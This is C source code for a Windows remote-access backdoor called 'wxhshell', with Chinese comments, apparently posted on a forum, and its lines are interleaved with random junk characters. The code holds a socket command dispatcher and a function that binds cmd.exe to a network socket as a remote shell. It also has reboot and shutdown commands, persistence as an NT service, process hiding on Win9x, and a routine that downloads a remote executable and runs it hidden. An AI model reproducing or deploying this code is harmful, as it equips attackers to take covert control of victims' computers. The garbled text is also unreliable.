  // 帮助 A_2oQ*  
  case '?': { L<Q>:U.@\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i?B(I4a!G  
    break; r"&VG2c0K  
  } % jSB9  
  // 安装 UzT"Rb:e  
  case 'i': { eKW^\  
    if(Install()) "RLv{D<)J,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $n* wS,  
    else =jkiM_<h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qgxpq{y  
    break; YK)e  
    } ]B3f$;W  
  // 卸载 ;P9cjfSn  
  case 'r': { G1G*TSf  
    if(Uninstall()) ' oS= d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9#@4Os  
    else 4N8(WI"4S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N'~l,{  
    break; uc]`^,`2/  
    } \JbOT%1  
  // 显示 wxhshell 所在路径 9}jezLI/3  
  case 'p': { lB*HL C  
    char svExeFile[MAX_PATH]; 2JL\1=k;  
    strcpy(svExeFile,"\n\r"); z~Is E8  
      strcat(svExeFile,ExeFile);  |: ,i  
        send(wsh,svExeFile,strlen(svExeFile),0); fzjAP7 y  
    break; GEtzLaq<  
    } M6XpauR-  
  // 重启 \`Ow)t:  
  case 'b': { T':} p2}w+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5aJd:36I  
    if(Boot(REBOOT)) # TPS?+(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3NSX(gC%  
    else { Z~v-@  
    closesocket(wsh); jW;g{5X  
    ExitThread(0); <3!Q Xc  
    } tO+Lf2Ni+  
    break; 36UUt!}p  
    } K(}g!iT)~  
  // 关机 )6*)u/x:  
  case 'd': { IIO-Jr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RiiwsnjC  
    if(Boot(SHUTDOWN))  P@FE3g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !yD$fY  
    else { tA{h x -  
    closesocket(wsh); <g1=jG:7k  
    ExitThread(0); &n~v;M  
    } /&+*X)#v  
    break; ;|pw;-  
    } U5ME`lN*`  
  // 获取shell vJ{aBx`VS  
  case 's': { h?P- :E  
    CmdShell(wsh); Y(B3M=j  
    closesocket(wsh); >>%E?'9A  
    ExitThread(0); 3gs!ojG  
    break; #83pitcc  
  } q!AcM d\  
  // 退出 p mUG`8SY  
  case 'x': { vbEO pYCS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T!N v  
    CloseIt(wsh); jJyS^*.X  
    break; )8%m|v#W  
    } nd~O*-uYg  
  // 离开 S#*aB2ZS  
  case 'q': { dU&hM<.|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 98XlcI#  
    closesocket(wsh); IsiBn(1Z  
    WSACleanup(); kK/( [!  
    exit(1); dO4J f9)  
    break; p(. z#o#  
        } I R~szUY6  
  } QC6:ZxP  
  } -lS(W^r4  
d~#:t~ $,  
  // 提示信息 Z $Fm73  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -+y3~^EYm,  
} L~E|c/  
  } X+QoO=02LR  
%+@<T<>J<k  
  return; EIF"{,m  
} 6cX Z3;a  
''H;/&nDX  
// shell模块句柄 t5k=ngA  
int CmdShell(SOCKET sock) eI1C0Uz1  
{ ?g4S51zpp  
STARTUPINFO si; l7#2 e ORm  
ZeroMemory(&si,sizeof(si)); jIck!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S,f:nLT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xa$-Sx  
PROCESS_INFORMATION ProcessInfo; yOO@v6jO)  
char cmdline[]="cmd"; ,"5][RsOn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RMlx[nsq  
  return 0; LwcAF g|  
} E|y  
h-6x! 6pm  
// 自身启动模式 }aL&3[>>  
int StartFromService(void) (BGflb  
{ SW7AG;c=  
typedef struct UB w*}p  
{ ny1Dg$u i2  
  DWORD ExitStatus; `t>:i!s/  
  DWORD PebBaseAddress; kL"Y>@H  
  DWORD AffinityMask; %R  P\,|  
  DWORD BasePriority; dy4~~~^A  
  ULONG UniqueProcessId; ^00C"58A  
  ULONG InheritedFromUniqueProcessId; =>L2~>[  
}   PROCESS_BASIC_INFORMATION; UN|S!&C$  
xM$AhH  
PROCNTQSIP NtQueryInformationProcess; qVE <voB8  
R|[gEavFl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cH6J:0>W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !:Ob3Mq\  
Bo0f`EC I  
  HANDLE             hProcess; Cy6%f?j  
  PROCESS_BASIC_INFORMATION pbi; %7 $X *  
j%i6H1#.Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9JJk\,  
  if(NULL == hInst ) return 0; \: R Akf<  
Bi7&yS5V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QBjvbWoIG(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Q"~bP{F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >cH}sNHy  
7 lu_E.Bv  
  if (!NtQueryInformationProcess) return 0; 4wPP/`  
fvRqt)Ks  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]v l?J  
  if(!hProcess) return 0; a1z*Z/!5  
3x)jab  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D!mx&O9  
f1q0*)fk  
  CloseHandle(hProcess); _|7bpt9  
mXI'=Vo!S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6L3i   
if(hProcess==NULL) return 0; NXOcsdcZu  
;)z+dd#3  
HMODULE hMod; *2 ~"%"C  
char procName[255]; p21li}Iu  
unsigned long cbNeeded; ~7:Q+ 0,,  
Qp+M5_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u<EPK*O*  
L=&}s[5  
  CloseHandle(hProcess); ; jrmr`l=  
n&8SB'-r  
if(strstr(procName,"services")) return 1; // 以服务启动 !:a^f2^=  
m2[J5n?zLL  
  return 0; // 注册表启动 JvYs6u  
} gnlU  
;&XC*R+  
// 主模块 i<*W,D6  
int StartWxhshell(LPSTR lpCmdLine) meZZQ:eSl  
{ c9Q_Qr0'  
  SOCKET wsl; .gY=<bG/fA  
BOOL val=TRUE; 2:&L|;  
  int port=0; j-wKm_M#jX  
  struct sockaddr_in door; r |2{( +  
c"P:p%\m&u  
  if(wscfg.ws_autoins) Install(); P?Kg7m W  
XO}SPf-  
port=atoi(lpCmdLine); !UHX? <3r  
yeA]j[ #  
if(port<=0) port=wscfg.ws_port; fa!8+kfi  
>^D5D%"  
  WSADATA data; cXK.^@du  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p MR4]G  
" :V@AT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }brBhe8a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0B"_St}3D  
  door.sin_family = AF_INET; w!OYH1ds]_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uCc5)  
  door.sin_port = htons(port); &.JJhX  
vJ e c+a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gUme({h&|  
closesocket(wsl); Y)7\h:LIg  
return 1; I2z6iT4nB  
} $?u LFD  
oG c9 6B%  
  if(listen(wsl,2) == INVALID_SOCKET) { " Rn@yZV  
closesocket(wsl); UQjYWXvi  
return 1; bSa]={}L(  
} <tdsUh:?&  
  Wxhshell(wsl); l0eh}d  
  WSACleanup(); %`lLX/4~  
>]kZ2gVt  
return 0; ow;a7  
s`=&l  
} !{vZvy"  
Pb<6-Jc[  
// 以NT服务方式启动 on 4 $n7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6E9o*YSk  
{ y w:=$e5  
DWORD   status = 0; ON"p^o>/_?  
  DWORD   specificError = 0xfffffff; kNX8y--  
YMj iJTl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qyjVB/ko  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =]o2{d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q s iV  
  serviceStatus.dwWin32ExitCode     = 0; z&z5EtFUTh  
  serviceStatus.dwServiceSpecificExitCode = 0; e^v\K[  
  serviceStatus.dwCheckPoint       = 0; #JR$RH  
  serviceStatus.dwWaitHint       = 0; j9.%(*  
izLB4pk$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [XkWPx`  
  if (hServiceStatusHandle==0) return; S~M/!Xb  
ps*iE=D  
status = GetLastError(); 'N`x@(  
  if (status!=NO_ERROR) !w/]V{9`X  
{ =69sWcC8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;8w CQ  
    serviceStatus.dwCheckPoint       = 0; |}@teN^J*U  
    serviceStatus.dwWaitHint       = 0; bVr`a*EM  
    serviceStatus.dwWin32ExitCode     = status; VH] <o0  
    serviceStatus.dwServiceSpecificExitCode = specificError; O6ltGtF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JY%l1:}G3  
    return; ? 3oUkGfn  
  } t-SZBNb  
AvB21~t&]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H %ScrJ#V  
  serviceStatus.dwCheckPoint       = 0; Nx!7sE*b$1  
  serviceStatus.dwWaitHint       = 0; ,My'_"S?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f/{ClP.  
} cL4Xh|NBp  
F <{k~   
// 处理NT服务事件,比如:启动、停止 &D&U!3~(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rp>%umDyL  
{ $5@[l5cJU;  
switch(fdwControl) ]ClqX;'weJ  
{ $|VdGRZ1  
case SERVICE_CONTROL_STOP: qR kPl!5  
  serviceStatus.dwWin32ExitCode = 0; xu >grj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8v6AfTo%  
  serviceStatus.dwCheckPoint   = 0; pv^:G;  
  serviceStatus.dwWaitHint     = 0; Q1!+wC   
  { L;=LAQ6[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =FQH5iSd  
  } f DPLB[  
  return; .f|)od[  
case SERVICE_CONTROL_PAUSE: QiaBZAol  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sHQO*[[  
  break; 9TEAM<b;  
case SERVICE_CONTROL_CONTINUE: @B!gxW\C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >^g\s]c[  
  break; zek>]l`!  
case SERVICE_CONTROL_INTERROGATE: kJ)Z{hy  
  break; Ob]J!.  
}; CDT;AdRw7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<es>~0!  
} [S0wwWU |0  
P.djR)YI  
// 标准应用程序主函数 O 2/_$i[F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _jaB[Q=By  
{ 8J~-|<Q6  
3S @)Ans  
// 获取操作系统版本 Q1(4l?X@  
OsIsNt=GetOsVer(); z~/e\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I(j$^DA.  
>|mZu)HIY;  
  // 从命令行安装 <(1[n pS&+  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Mw+SM3<  
!1l~'/r  
  // 下载执行文件 fM"&=X  
if(wscfg.ws_downexe) { :g{ybTSEe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6cOlY= bn  
  WinExec(wscfg.ws_filenam,SW_HIDE); m14'u GC  
} [{zfI`6  
M3eFG@,  
if(!OsIsNt) { bQdu=s[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rpj{!Ia  
HideProc(); #P {|7}jk  
StartWxhshell(lpCmdLine); 4r#4h4`y|  
} [J55%N;#1  
else TV/EC#48  
  if(StartFromService()) BC#O.93`  
  // 以服务方式启动 whFJ]  
  StartServiceCtrlDispatcher(DispatchTable); 4ZkaH(a1  
else Xm<|m#  
  // 普通方式启动 i"mQ  
  StartWxhshell(lpCmdLine); sAnb   
s%G%s,d  
return 0; &d]@$4u$;  
}
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只看该作者 1 发表于: 2006-10-10
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